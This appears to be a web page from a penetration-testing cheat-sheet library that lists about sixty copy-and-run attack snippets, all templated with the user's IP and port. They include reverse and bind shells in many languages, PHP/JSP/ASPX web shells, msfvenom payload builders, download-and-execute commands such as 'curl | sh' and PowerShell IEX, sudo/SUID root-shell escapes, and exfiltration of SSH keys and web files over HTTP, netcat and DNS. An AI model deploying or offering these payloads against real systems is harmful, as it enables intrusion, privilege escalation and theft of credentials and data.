library

Payloads & Shells

60 snippets reverse · web · bind · listeners · msfvenom

Set your IP and port once in $_ vars and every payload here fills in your values, ready to copy and run. No jumping to another site.

Reverse Shells / 10

Call back to your listener. Start a listener first (see Listeners below).

Bash TCPbash

bash -i >& /dev/tcp/<YOUR-IP>/<LPORT> 0>&1

Bash (when >& is filtered)bash

bash -c 'exec bash -i &>/dev/tcp/<YOUR-IP>/<LPORT> <&1'

Python3python

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR-IP>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("bash")'

PHPphp

php -r '$sock=fsockopen("<YOUR-IP>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'

Netcat (-e available)bash

nc <YOUR-IP> <LPORT> -e /bin/bash

Netcat (mkfifo, no -e)bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR-IP> <LPORT> >/tmp/f

Perlperl

perl -e 'use Socket;$i="<YOUR-IP>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Rubyruby

ruby -rsocket -e'f=TCPSocket.open("<YOUR-IP>",<LPORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

socat (best TTY)bash

socat TCP:<YOUR-IP>:<LPORT> EXEC:'bash -li',pty,stderr,setsid,sigint,sane

PowerShellpowershell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<YOUR-IP>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Web Shells / 5

Drop on a target that serves the language. Reach cmd via ?cmd= in the URL.

PHP one-liner (GET)php

<?php system($_GET['cmd']); ?>

PHP (REQUEST, formatted)php

<?php if(isset($_REQUEST['cmd'])){echo '<pre>';system($_REQUEST['cmd']);echo '</pre>';} ?>

PHP passthruphp

<?php passthru($_GET['cmd']); ?>

JSPjsp

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

ASPXaspx

<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe","/c "+Request["cmd"]); %>

Bind Shells / 4

Target listens; you connect in. Use when you cannot get a callback out.

Netcat bind (-e)bash

nc -lvnp <LPORT> -e /bin/bash

Netcat bind (mkfifo)bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -lvnp <LPORT> >/tmp/f

Python3 bindpython

python3 -c 'import socket,subprocess,os;s=socket.socket();s.bind(("0.0.0.0",<LPORT>));s.listen(1);c,a=s.accept();[os.dup2(c.fileno(),f) for f in(0,1,2)];import pty;pty.spawn("/bin/bash")'

Connect in (attacker)bash

nc <TARGET-IP> <LPORT>

Listeners & Shell Upgrades / 5

Catch the shell, then upgrade it to a full interactive TTY.

Netcat listenerbash

nc -lvnp <LPORT>

Listener with history (rlwrap)bash

rlwrap nc -lvnp <LPORT>

socat listener (full TTY)bash

socat file:`tty`,raw,echo=0 tcp-listen:<LPORT>

Upgrade: spawn a PTY (victim)bash

Then Ctrl+Z to background.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Upgrade: fix the terminal (attacker)bash

Then on victim: export TERM=xterm; stty rows 38 cols 116

stty raw -echo; fg

MSFVenom Builders / 5

Generate staged/stageless payloads. Catch with a matching handler.

Windows meterpreter (exe)bash

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<YOUR-IP> LPORT=<LPORT> -f exe -o shell.exe

Linux meterpreter (elf)bash

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<YOUR-IP> LPORT=<LPORT> -f elf -o shell.elf

PHP reverse (raw)bash

msfvenom -p php/reverse_php LHOST=<YOUR-IP> LPORT=<LPORT> -o shell.php

Windows stageless (dll)bash

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR-IP> LPORT=<LPORT> -f dll -o shell.dll

War (Java/Tomcat)bash

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<YOUR-IP> LPORT=<LPORT> -f war -o shell.war

File Transfer / 10

Move tools onto the target and loot back off it. Start a server on your box first (python3 -m http.server 80) and put your tools in that folder.

HTTP server (your box)bash

Run it in the folder holding your tools; everything below pulls from it.

python3 -m http.server 80

Linux wgetbash

wget http://<YOUR-IP>/linpeas.sh -O /tmp/linpeas.sh

Linux curlbash

curl http://<YOUR-IP>/tool -o /tmp/tool

Linux in-memory (no disk write)bash

curl http://<YOUR-IP>/linpeas.sh | sh

Windows PowerShell downloadpowershell

powershell -c "IWR http://<YOUR-IP>/tool.exe -OutFile C:\Windows\Temp\tool.exe"

Windows PowerShell in-memorypowershell

powershell -c "IEX(IWR http://<YOUR-IP>/script.ps1 -UseBasicParsing)"

Windows certutilcmd

certutil -urlcache -split -f http://<YOUR-IP>/tool.exe tool.exe

SMB server (your box)bash

On Windows: copy \\<YOUR-IP>\share\tool.exe .

impacket-smbserver share $(pwd) -smb2support

Netcat transferbash

On the target: nc <YOUR-IP> <LPORT> > tool

nc -lvnp <LPORT> < tool

Base64 paste (no network)bash

On the target: echo <BASE64> | base64 -d > tool && chmod +x tool

base64 -w0 tool

Privilege Escalation (GTFOBins) / 10

When a binary is SUID or you can run it with sudo, these spawn a root shell. Check every binary from sudo -l and find -perm -4000 against gtfobins.github.io.

find (SUID)bash

The -p keeps the elevated privileges.

find . -exec /bin/sh -p \; -quit

find (sudo)bash

sudo find . -exec /bin/sh \; -quit

bash (SUID)bash

bash -p

vim (sudo)bash

sudo vim -c ':!/bin/sh'

awk (sudo)bash

sudo awk 'BEGIN {system("/bin/sh")}'

python (sudo)bash

sudo python3 -c 'import os; os.system("/bin/sh")'

perl (sudo)bash

sudo perl -e 'exec "/bin/sh";'

less (sudo)bash

Then at the pager type: !/bin/sh

sudo less /etc/profile

tar (sudo)bash

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

env (sudo)bash

sudo env /bin/sh

Shell Upgrade & Stabilization / 6

Turn a dumb reverse shell into a full interactive TTY (arrow keys, tab-complete, Ctrl+C without dying). Run these in order right after you catch the shell.

1. Spawn a PTY (Python)bash

No python? try: script -qc /bin/bash /dev/null

python3 -c 'import pty;pty.spawn("/bin/bash")'

2. Set the terminal typebash

Then press Ctrl+Z to background the shell.

export TERM=xterm

3. Fix your terminal (attacker)bash

Press Enter twice after running this.

stty raw -echo; fg

4. Match your window sizebash

Use your real size from: stty size

stty rows 38 cols 116

socat full TTY (best, if present)bash

Victim: socat tcp:<YOUR-IP>:<LPORT> exec:"bash -li",pty,stderr,setsid,sigint,sane

socat file:`tty`,raw,echo=0 tcp-listen:<LPORT>

rlwrap listener (arrows + history)bash

rlwrap nc -lvnp <LPORT>

Data Exfiltration / 5

Get loot off the target. On locked-down networks prefer channels that blend in (HTTP / DNS) over raw outbound connections. Stage and compress first.

Stage + compress firstbash

Collect, compress, then exfil the single archive.

tar czf /tmp/loot.tar.gz /var/www /home/*/.ssh 2>/dev/null

HTTP POST (curl)bash

Catch it: nc -lvnp 80 (or a small HTTP upload handler)

curl -X POST --data-binary @/tmp/loot.tar.gz http://<YOUR-IP>/x

Netcatbash

Your box: nc -lvnp <LPORT> > loot.tar.gz

nc <YOUR-IP> <LPORT> < /tmp/loot.tar.gz

Base64 (no network)bash

On your box: echo <BASE64> | base64 -d > loot.tar.gz

base64 -w0 /tmp/loot.tar.gz

DNS exfil (chunked)bash

Capture on your authoritative DNS / interactsh.

xxd -p -c 16 secret | while read c; do dig $c.<YOUR-DOMAIN> +short; done

connected

These are the artifacts you drop and run; the playbooks sequence them, and the Loadout exports your picked set as a ready-to-run runbook.

Command Library Privilege Escalation Lateral Movement